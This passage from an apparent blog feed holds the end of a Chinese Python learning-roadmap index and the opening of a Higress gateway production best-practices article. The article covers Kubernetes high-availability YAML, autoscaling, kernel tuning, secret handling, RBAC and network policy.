&lt;td&gt;Day08-13&lt;/td&gt;
&lt;td&gt;列表、元组、字符串、集合、字典&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;03&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-03-function-oop/&quot;&gt;函数、模块与面向对象&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day14-20&lt;/td&gt;
&lt;td&gt;函数与参数、高阶函数、装饰器、递归、类与对象、继承多态&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-04-file-processing/&quot;&gt;文件操作与数据交换&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day21-23&lt;/td&gt;
&lt;td&gt;文件读写、异常处理、JSON 序列化、CSV、pip、网络 API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-05-office-automation/&quot;&gt;办公自动化与图像处理&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day24-29&lt;/td&gt;
&lt;td&gt;Excel、Word/PPT、PDF、Pillow 图像、邮件短信&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;06&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-06-regex-linux/&quot;&gt;正则表达式与 Linux&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day30,33&lt;/td&gt;
&lt;td&gt;正则表达式、Linux 命令、文件系统、Shell 编程&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;07&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-07-advanced/&quot;&gt;Python 语言进阶&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day31-32,35&lt;/td&gt;
&lt;td&gt;数据结构与算法、迭代器与生成器、并发编程、Web 前端入门&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Web 开发篇&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;编号&lt;/th&gt;
&lt;th&gt;标题&lt;/th&gt;
&lt;th&gt;对应天数&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;08&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-08-mysql/&quot;&gt;数据库与 MySQL&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day36-45&lt;/td&gt;
&lt;td&gt;关系型数据库、SQL(DDL/DML/DQL/DCL)、索引、Python 接入、Hive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-09-django-basics/&quot;&gt;Django 入门&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day46-52&lt;/td&gt;
&lt;td&gt;Web 机制、ORM 模型、Ajax、Cookie/Session、报表日志、中间件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-10-django-drf/&quot;&gt;Django 进阶与 RESTful&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day53-60&lt;/td&gt;
&lt;td&gt;前后端分离、DRF、缓存、Celery 异步、单元测试、项目上线&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;数据采集篇&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;编号&lt;/th&gt;
&lt;th&gt;标题&lt;/th&gt;
&lt;th&gt;对应天数&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-11-web-scraping/&quot;&gt;网络爬虫&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day61-65&lt;/td&gt;
&lt;td&gt;爬虫概述与合法性、requests、并发、Selenium、Scrapy&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;数据科学篇&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;编号&lt;/th&gt;
&lt;th&gt;标题&lt;/th&gt;
&lt;th&gt;对应天数&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-12-data-analysis/&quot;&gt;数据分析：NumPy 与 pandas&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day66-77&lt;/td&gt;
&lt;td&gt;Anaconda、Jupyter、NumPy 数组、pandas Series/DataFrame、数据清洗&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-13-visualization/&quot;&gt;数据可视化&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day78-80&lt;/td&gt;
&lt;td&gt;matplotlib、高阶图表、seaborn、pyecharts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-14-machine-learning/&quot;&gt;机器学习&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day81-90&lt;/td&gt;
&lt;td&gt;kNN、决策树、随机森林、朴素贝叶斯、回归、K-Means、集成学习、神经网络、NLP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;实战篇&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;编号&lt;/th&gt;
&lt;th&gt;标题&lt;/th&gt;
&lt;th&gt;对应天数&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-15-project-interview/&quot;&gt;项目实战、部署与面试&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day91-100&lt;/td&gt;
&lt;td&gt;敏捷开发、Docker、API 设计、Django 商业项目、测试、部署上线、面试宝典&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;学习路径建议&lt;/h2&gt;
&lt;h3&gt;按角色选择&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;角色&lt;/th&gt;
&lt;th&gt;推荐路径&lt;/th&gt;
&lt;th&gt;重点章节&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;零基础初学者&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;01→07 全部&lt;/td&gt;
&lt;td&gt;打牢语法与数据结构基础&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;后端开发&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;01-04 → 08 → 09 → 10 → 15&lt;/td&gt;
&lt;td&gt;数据库、Django、部署上线&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;数据分析师&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;01-04 → 12 → 13&lt;/td&gt;
&lt;td&gt;NumPy、pandas、可视化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;数据科学 / 算法&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;01-04 → 12 → 13 → 14&lt;/td&gt;
&lt;td&gt;机器学习全流程&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;爬虫工程师&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;01-04 → 06 → 07 → 11&lt;/td&gt;
&lt;td&gt;正则、并发、Selenium、Scrapy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;全栈 / 系统学习&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;全部按顺序&lt;/td&gt;
&lt;td&gt;完整掌握&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;按时间规划&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;对应天数&lt;/th&gt;
&lt;th&gt;建议时长&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;语言基础&lt;/td&gt;
&lt;td&gt;Day01-35&lt;/td&gt;
&lt;td&gt;3-4 周&lt;/td&gt;
&lt;td&gt;01-07 篇&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web 开发&lt;/td&gt;
&lt;td&gt;Day36-60&lt;/td&gt;
&lt;td&gt;3-4 周&lt;/td&gt;
&lt;td&gt;08-10 篇&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据采集&lt;/td&gt;
&lt;td&gt;Day61-65&lt;/td&gt;
&lt;td&gt;1 周&lt;/td&gt;
&lt;td&gt;11 篇&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据科学&lt;/td&gt;
&lt;td&gt;Day66-90&lt;/td&gt;
&lt;td&gt;3-4 周&lt;/td&gt;
&lt;td&gt;12-14 篇&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;项目实战&lt;/td&gt;
&lt;td&gt;Day91-100&lt;/td&gt;
&lt;td&gt;1-2 周&lt;/td&gt;
&lt;td&gt;15 篇&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;总计&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100 天&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;约 3 个月&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;完整掌握 Python&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;前置知识&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;必备&lt;/strong&gt;：基本的计算机操作、任一编程语言的经验更佳（没有也可以，从 01 开始）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;推荐&lt;/strong&gt;：英语阅读能力（文档、报错多为英文）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数学&lt;/strong&gt;：机器学习篇（14）需要一定的线性代数、概率统计基础&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;环境准备&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 1. 安装 Python（推荐 3.10+）
# Windows：从 python.org 下载安装包，勾选 &quot;Add Python to PATH&quot;
# macOS：brew install python
# Linux：sudo apt install python3 python3-pip

# 2. 验证安装
python --version        # 或 python3 --version
pip --version

# 3. 推荐使用虚拟环境隔离项目依赖
python -m venv venv
# Windows
venv\Scripts\activate
# macOS / Linux
source venv/bin/activate

# 4. 数据科学篇推荐直接用 Anaconda（自带 NumPy/pandas/Jupyter）
# 从 anaconda.com 下载 Miniconda（轻量）或 Anaconda（完整）
conda --version

# 5. 开发工具（任选）
# - VS Code（推荐，装 Python 插件）
# - PyCharm（专业 IDE）
# - Jupyter Lab（数据分析/机器学习交互式）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;系列约定&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代码示例&lt;/strong&gt;：Python 3.10+，遵循 PEP 8 规范&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置/命令&lt;/strong&gt;：以 bash 为主，Windows 用户注意用 PowerShell 或 Git Bash&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;版本基准&lt;/strong&gt;：Django 4.x、NumPy/pandas 最新版、scikit-learn 1.x&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;每篇结构&lt;/strong&gt;：导语 → 知识点讲解（表格 + 可运行代码）→ 常见问题 Q&amp;amp;A → 复习卡片 → 下一篇链接&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;动手实践&lt;/strong&gt;：强烈建议每篇的代码都在本地敲一遍跑通，&quot;熟能生巧&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-01-python-basics/&quot;&gt;初识 Python 与基础语法&lt;/a&gt; 将从 Python 简介、环境安装讲起，覆盖变量与类型、运算符、分支结构（if/match）、循环结构（for/while），并配有华氏摄氏转换、判断闰年、猜数字游戏等经典小例子。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;Python 学习路线合集&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress 生产最佳实践</title><link>http://117.72.32.87/blog/posts/higress-roadmap-14-best-practices/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-14-best-practices/</guid><description>总结 Higress 生产环境最佳实践：高可用部署、性能调优、安全加固、CI/CD、GitOps、多集群管理、容量规划与故障演练。</description><pubDate>Thu, 17 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 Higress 学习路线的最后一篇，汇总生产环境落地的关键实践：高可用部署、性能调优、安全加固、CI/CD 与 GitOps、多集群管理、容量规划、故障演练。前 13 篇讲&quot;怎么用&quot;，本篇讲&quot;怎么用好、用稳&quot;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;生产落地检查清单&lt;/h2&gt;
&lt;p&gt;在把 Higress 推向生产前，先过一遍这张清单：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;检查项&lt;/th&gt;
&lt;th&gt;状态&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;高可用&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gateway ≥ 3 副本、跨节点/跨可用区、配置 PDB&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;资源&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;设置 requests/limits、启用 HPA&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;配置&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CRD 纳入 Git、GitOps 自动同步&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;备份&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;etcd / CRD 定期备份、可回滚&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;安全&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;mTLS、RBAC、Secret 加密、镜像扫描&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;可观测&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Metrics + Tracing + 日志三件套、告警规则&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;发布&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;灰度/蓝绿、快速回滚预案&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;容量&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;压测基线、扩容阈值明确&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;演练&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;故障注入、Chaos 演练、Runbook&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;一、高可用部署&lt;/h2&gt;
&lt;h3&gt;1.1 Gateway 多副本 + 反亲和&lt;/h3&gt;
&lt;p&gt;数据面（Gateway）是流量入口，必须多副本、跨节点分散，避免单点。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: higress-gateway
  namespace: higress-system
spec:
  replicas: 3                      # 生产至少 3 副本
  strategy:
    type: RollingUpdate
    rollingUpdate:
      maxUnavailable: 0            # 滚动更新时不允许不可用
      maxSurge: 1
  template:
    spec:
      affinity:
        # 节点反亲和：副本分散到不同节点
        podAntiAffinity:
          requiredDuringSchedulingIgnoredDuringExecution:
            - labelSelector:
                matchLabels:
                  app: higress-gateway
              topologyKey: kubernetes.io/hostname
        # 可用区反亲和（软约束）：尽量跨 AZ
        podAntiAffinity:
          preferredDuringSchedulingIgnoredDuringExecution:
            - weight: 100
              podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app: higress-gateway
                topologyKey: topology.kubernetes.io/zone
      topologySpreadConstraints:
        # 拓扑分布约束：跨 AZ 均衡
        - maxSkew: 1
          topologyKey: topology.kubernetes.io/zone
          whenUnsatisfiable: ScheduleAnyway
          labelSelector:
            matchLabels:
              app: higress-gateway
      containers:
        - name: gateway
          resources:
            requests:
              cpu: &quot;1000m&quot;
              memory: &quot;1Gi&quot;
            limits:
              cpu: &quot;2000m&quot;
              memory: &quot;2Gi&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
上面为演示把两个 &lt;code&gt;podAntiAffinity&lt;/code&gt; 写在一起，实际同一个 &lt;code&gt;affinity&lt;/code&gt; 下只能有一个 &lt;code&gt;podAntiAffinity&lt;/code&gt; 字段。生产中请把节点反亲和放到 &lt;code&gt;requiredDuringScheduling&lt;/code&gt;、AZ 反亲和放到 &lt;code&gt;preferredDuringScheduling&lt;/code&gt;，合并为&lt;strong&gt;一个&lt;/strong&gt; &lt;code&gt;podAntiAffinity&lt;/code&gt; 对象。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1.2 PodDisruptionBudget（PDB）&lt;/h3&gt;
&lt;p&gt;防止节点维护、集群升级时同时驱逐过多 Gateway 副本。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
  name: higress-gateway-pdb
  namespace: higress-system
spec:
  minAvailable: 2                  # 任意时刻至少 2 个可用
  selector:
    matchLabels:
      app: higress-gateway
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 HPA 自动扩缩容&lt;/h3&gt;
&lt;p&gt;按 CPU / QPS / 连接数自动扩容，应对流量高峰。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
  name: higress-gateway-hpa
  namespace: higress-system
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: higress-gateway
  minReplicas: 3
  maxReplicas: 20
  metrics:
    # CPU 使用率
    - type: Resource
      resource:
        name: cpu
        target:
          type: Utilization
          averageUtilization: 70
    # 内存使用率
    - type: Resource
      resource:
        name: memory
        target:
          type: Utilization
          averageUtilization: 80
  behavior:
    scaleUp:
      stabilizationWindowSeconds: 30   # 快速扩容
      policies:
        - type: Percent
          value: 100
          periodSeconds: 30
    scaleDown:
      stabilizationWindowSeconds: 300  # 缓慢缩容，防抖动
      policies:
        - type: Percent
          value: 10
          periodSeconds: 60
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
更精准的做法是用 &lt;strong&gt;KEDA&lt;/strong&gt; 基于 Prometheus 的 QPS/连接数指标扩缩容，而不是只看 CPU。网关是 I/O 密集型，CPU 未必能真实反映负载。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1.4 控制面高可用&lt;/h3&gt;
&lt;p&gt;控制面（Controller）故障不影响已下发的数据面配置（Envoy 会缓存最后的 xDS），但影响配置变更。同样要多副本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# helm values
global:
  replicas: 3                    # Controller 副本数
  priorityClassName: system-cluster-critical
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、性能调优&lt;/h2&gt;
&lt;h3&gt;2.1 Envoy 并发与连接&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-config
  namespace: higress-system
data:
  higress: |
    concurrency: 0               # 0 = 自动等于 CPU 核数
    # 每个 worker 独立处理连接，避免锁竞争
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 上游连接池（针对后端服务）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  annotations:
    # 上游 keepalive 连接池
    higress.io/upstream-keepalive-connections: &quot;256&quot;
    higress.io/upstream-keepalive-time: &quot;60s&quot;
    # 单连接最大请求数（防止连接老化）
    higress.io/upstream-keepalive-requests: &quot;1000&quot;
    # 连接/请求超时
    higress.io/connect-timeout: &quot;5s&quot;
    higress.io/request-timeout: &quot;30s&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 下游（客户端）连接优化&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Gateway 监听器优化
apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-gateway-tuning
  namespace: higress-system
data:
  # 开启 HTTP/2、HTTP/3(QUIC)
  enable-http2: &quot;true&quot;
  enable-http3: &quot;false&quot;          # 按需开启
  # 空闲连接超时
  downstream-idle-timeout: &quot;180s&quot;
  # 最大请求头大小
  max-request-headers-kb: &quot;60&quot;
  # 每连接最大请求数（0 = 无限）
  max-requests-per-connection: &quot;0&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3 内核参数（节点级）&lt;/h3&gt;
&lt;p&gt;高并发场景，节点内核参数是瓶颈。用 DaemonSet 或节点初始化脚本调整：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/sysctl.d/99-higress.conf
cat &amp;lt;&amp;lt;EOF | sudo tee /etc/sysctl.d/99-higress.conf
# 文件描述符
fs.file-max = 2097152
fs.nr_open = 2097152

# TCP 连接队列
net.core.somaxconn = 65535
net.ipv4.tcp_max_syn_backlog = 65535

# TIME_WAIT 复用与回收
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_fin_timeout = 15

# 端口范围
net.ipv4.ip_local_port_range = 1024 65535

# 连接跟踪（如启用 conntrack）
net.netfilter.nf_conntrack_max = 1048576
net.netfilter.nf_conntrack_tcp_timeout_established = 3600

# 内存
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
EOF

sudo sysctl --system
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 进程级文件描述符（systemd 或容器 securityContext）
ulimit -n 1048576
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.4 性能调优优先级&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 副本数 &amp;amp; HPA        → 最直接，横向扩展
2. 资源 requests/limits → 避免 CPU 节流（throttling）
3. 上游连接池 keepalive → 减少握手开销（收益大）
4. 内核参数            → 高并发下的天花板
5. Wasm 插件精简       → 每个插件都有开销，按需启用
6. 日志采样            → 高 QPS 下全量日志很贵
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;CPU limits 陷阱&lt;/strong&gt;：给 Envoy 设置过低的 CPU limit 会触发内核 CFS 节流，P99 延迟飙升。网关这类延迟敏感组件，建议&lt;strong&gt;只设 requests 不设 CPU limit&lt;/strong&gt;（或 limit 设为节点可突发上限），内存 limit 必须设（防 OOM 拖垮节点）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;三、安全加固&lt;/h2&gt;
&lt;h3&gt;3.1 分层安全模型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────┐
│  边缘层：TLS 终止、WAF、DDoS、IP 黑名单  │
├─────────────────────────────────────────┤
│  认证层：JWT / OAuth2 / mTLS / API Key   │
├─────────────────────────────────────────┤
│  授权层：RBAC、Consumer 权限、路由级策略 │
├─────────────────────────────────────────┤
│  传输层：东西向 mTLS、加密               │
├─────────────────────────────────────────┤
│  数据层：敏感信息脱敏、日志审计          │
└─────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 Secret 管理&lt;/h3&gt;
&lt;p&gt;绝不把密钥硬编码在 Ingress annotation 或 WasmPlugin config 里。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# ❌ 反例：明文写在 annotation
metadata:
  annotations:
    higress.io/request-header-authorization: &quot;Bearer sk-1234567890abcdef&quot;

# ✅ 正例：引用 K8s Secret
apiVersion: v1
kind: Secret
metadata:
  name: llm-api-key
  namespace: higress-system
type: Opaque
stringData:
  api-key: sk-xxxx          # 生产用 External Secrets / Vault 注入
---
# 通过 Wasm 插件从 Secret 读取
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 使用 External Secrets Operator 从 Vault/AWS SM 同步
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
  name: llm-api-key
  namespace: higress-system
spec:
  refreshInterval: 1h
  secretStoreRef:
    name: vault-backend
    kind: ClusterSecretStore
  target:
    name: llm-api-key
  data:
    - secretKey: api-key
      remoteRef:
        key: secret/llm/openai
        property: api-key
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.3 RBAC 最小权限&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 限制谁能修改 Higress CRD
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: higress-route-editor
  namespace: default
rules:
  - apiGroups: [&quot;networking.k8s.io&quot;]
    resources: [&quot;ingresses&quot;]
    verbs: [&quot;get&quot;, &quot;list&quot;, &quot;watch&quot;, &quot;create&quot;, &quot;update&quot;]
  # 注意：不给 delete，防误删；不给 WasmPlugin（更高权限单独授予）
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: dev-team-route-editor
  namespace: default
subjects:
  - kind: Group
    name: dev-team
    apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: higress-route-editor
  apiGroup: rbac.authorization.k8s.io
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.4 网络策略&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 只允许 Gateway 访问后端服务，限制东西向流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-gateway-only
  namespace: production
spec:
  podSelector:
    matchLabels:
      tier: backend
  policyTypes:
    - Ingress
  ingress:
    - from:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: higress-system
          podSelector:
            matchLabels:
              app: higress-gateway
      ports:
        - protocol: TCP
          port: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.5 安全加固清单&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项&lt;/th&gt;
&lt;th&gt;措施&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;TLS&lt;/td&gt;
&lt;td&gt;强制 HTTPS、TLS 1.2+、禁用弱密码套件、HSTS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;证书&lt;/td&gt;
&lt;td&gt;cert-manager 自动签发续期，避免过期&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;镜像&lt;/td&gt;
&lt;td&gt;私有 Registry + 镜像签名（cosign）+ 漏洞扫描（Trivy）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secret&lt;/td&gt;
&lt;td&gt;External Secrets / Vault，禁止明文入 Git&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RBAC&lt;/td&gt;
&lt;td&gt;最小权限，CRD 修改权限收敛&lt;/td&gt;
